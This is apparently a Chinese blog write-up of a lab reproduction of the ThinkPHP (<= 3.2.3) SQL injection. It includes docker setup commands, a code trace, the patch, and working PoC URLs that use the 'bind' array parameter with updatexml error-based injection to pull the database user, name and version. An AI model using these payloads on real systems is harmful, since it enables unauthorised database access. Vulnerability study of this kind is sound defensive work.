1. 程式人生 > >ref:ThinkPHP Builder.php SQL註入漏洞(<= 3.2.3)

ref:ThinkPHP Builder.php SQL註入漏洞(<= 3.2.3)

syntax tle AR turn sql註入 cat 類型 times execute

ThinkPHP Builder.php SQL註入漏洞(<= 3.2.3)

ref:https://www.jianshu.com/p/18d06277161e

TimeSHU 2018.04.21 02:03* 字數 761 閱讀 23評論 2

ThinkPHP Builder.php SQL註入漏洞(<= 3.2.3)的一次漏洞復現作業

-------------------------------------------------------------

1.進入docker內部環境說明 service docker start; docker ps;列出當前容器 docker exec -it 9b96ee2b /bin/bash;//9b96ee2b為container_id 2.實際調試堆棧以及參數傳遞情況: /var/www/html# more index.php // 開啟調試模式 建議開發階段開啟 部署階段註釋或者設為false;方便打印日誌。 define(‘APP_DEBUG‘,True); 下面是根據TimeSHU提供的docker環境調試update註入情況分析。

這是poc:http://192.168.3.6/Home/Index/readcategorymsg?category[0]=bind&category[1]=0%20and(updatexml(1,concat(0x7e,(user())),0))

category是數組:
0:"bind"
1:"0 and(updatexml(1,concat(0x7e,(user())),0))"

出錯堆棧信息:
#0 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(350): E(‘1105:XPATH synt...‘)。
#1 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(237): Think\Db\Driver->error()
#2 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): Think\Db\Driver->execute(‘UPDATE `vulapps...‘, false)
UPDATE `vulapps_message` SET `is_read`=‘1‘ WHERE `category` = ‘1‘ and(updatexml(1,concat(0x7e,(user())),0))//盡管前面為false,但是後面任然要執行。此次報錯:XPATH syntax error: ‘~root@localhost‘。

/var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): public function update($data,$options)
sql語句:return $this->execute($sql,!empty($options[‘fetch_sql‘]) ? true : false);

UPDATE `vulapps_message` SET `is_read`=:0 WHERE `category` = :0 and(updatexml(1,concat(0x7e,(user())),0))

漏洞代碼:

protected function parseWhereItem($key,$val)//category,array(2) { [0]=...
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);//array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } ,則exp=bind
}elseif(‘bind‘ == $exp ){ //
$whereStr .= $key.‘ = :‘.$val[1];//$whereStr.=category=:0 and (updatexml...)此處將:0拼接進去,為後面pdo參數替換制造了機會。
這裏可以看出來如果where是一個數組的話,並且第一個元素為bind,那麽直接就進行了拼接操作,分析到這裏我們看看I函數的過濾限制並沒有將bind排除。

#3 /var/www/html/ThinkPHP/Library/Think/Model.class.php(451): Think\Db\Driver->update(Array, Array)
$result = $this->db->update($data,$options);
echo var_dump($data):
array(1) { ["is_read"]=> int(1) } array(3) { ["where"]=> array(1) { ["category"]=> array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } } ["table"]=> string(15) "vulapps_message" ["model"]=> string(7) "message" }

#4 /var/www/html/Application/Home/Controller/IndexController.class.php(18): Think\Model->save(Array)
public function readcategorymsg(){
$condition[‘category‘] = I("category");
$data[‘is_read‘] = 1;
$res = M("message")->where($condition)->save($data);
echo var_dump($condition[‘category‘])."<br>";
array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" }

#5 [internal function]: Home\Controller\IndexController->readcategorymsg()
#6 /var/www/html/ThinkPHP/Library/Think/App.class.php(173):

補丁方法:在I函數增加bind過濾。

function think_filter(&$value){ if(preg_match(‘/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i‘,$value)){$value.=‘ ‘;}

-------------------------------------------------------------

漏洞環境:docker

漏洞分析

首先,我們知道insert 方法存在漏洞,那就查看 insert 方法的具體實現。

該方法位於thinkphp\library\think\db\Builder.php 文件中,我們可以看到在函數開頭調用了 parseData 方法,並將 $data 作為參數傳入, $data 的值是我們通過 get方式傳入的一個數組類型的數據,如下圖:

技術分享圖片

我們跟進parseData方法,該方法也在 thinkphp\library\think\db\Builder.php 文件中。

可以看到,在結尾處有個switch語句,而且進入該語句後,會跳到case ‘inc‘的地方,這裏關鍵就是看看 $this->parseKey 是否有對 $val[1] 變量進行過濾了;

因為$val[1]變量就是我們payload中的updatexml(1,concat(0x7,user(),0x7e),1) ,如下圖:

技術分享圖片

繼續跟進parseValue 方法,會發現直接將傳入的 $key 返回了,沒有進行任何過濾。

技術分享圖片

我們再回到最開始的insert 方法,加上調試語句,看看此時的sql語句變成了什麽樣子,如下圖:

技術分享圖片

另一處update函數的註入與這個insert是類似的。

使用docker搭建漏洞環境

1.拉取鏡像到本地

docker pull medicean/vulapps:t_thinkphp_1

2.啟動環境

docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1

-p 80:80 前面的 80 代表物理機的端口,可隨意指定。

使用和利用

訪問 http://192.168.0.104:80/, 假設啟動的端口號為 80

出現下圖環境搭建成功了

技術分享圖片

點擊標記已讀:可以使用burp抓包得到URL

技術分享圖片

http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

存在漏洞的地方:category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

POC:

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))

使用上面POC可直接獲取到數據庫用戶名

技術分享圖片

爆出數據庫用戶名:root@localhost

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(database())),0))

技術分享圖片

通過database(),報錯回顯一個數據庫:vulapps

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(version())),0))

技術分享圖片

爆出數據庫版本:5.5.57-0ubuntu0.14.04.1

網上找了些資料,但還是對這個不是很懂,本來想構造一個語句看看是否能獲取到數據庫中的賬戶和密碼,結果發現無法使用(尷尬..)

對上面的這段POC不算很懂,只能看出大概就是通過user()這裏修改可以獲取到數據庫用戶和版本

參考資料:

https://mp.weixin.qq.com/s/lNaH2-AAtk9JVKbbCBeIRA

https://mp.weixin.qq.com/s/4xXS7usHMFNgDTEHcHBcBA

ref:ThinkPHP Builder.php SQL註入漏洞(<= 3.2.3)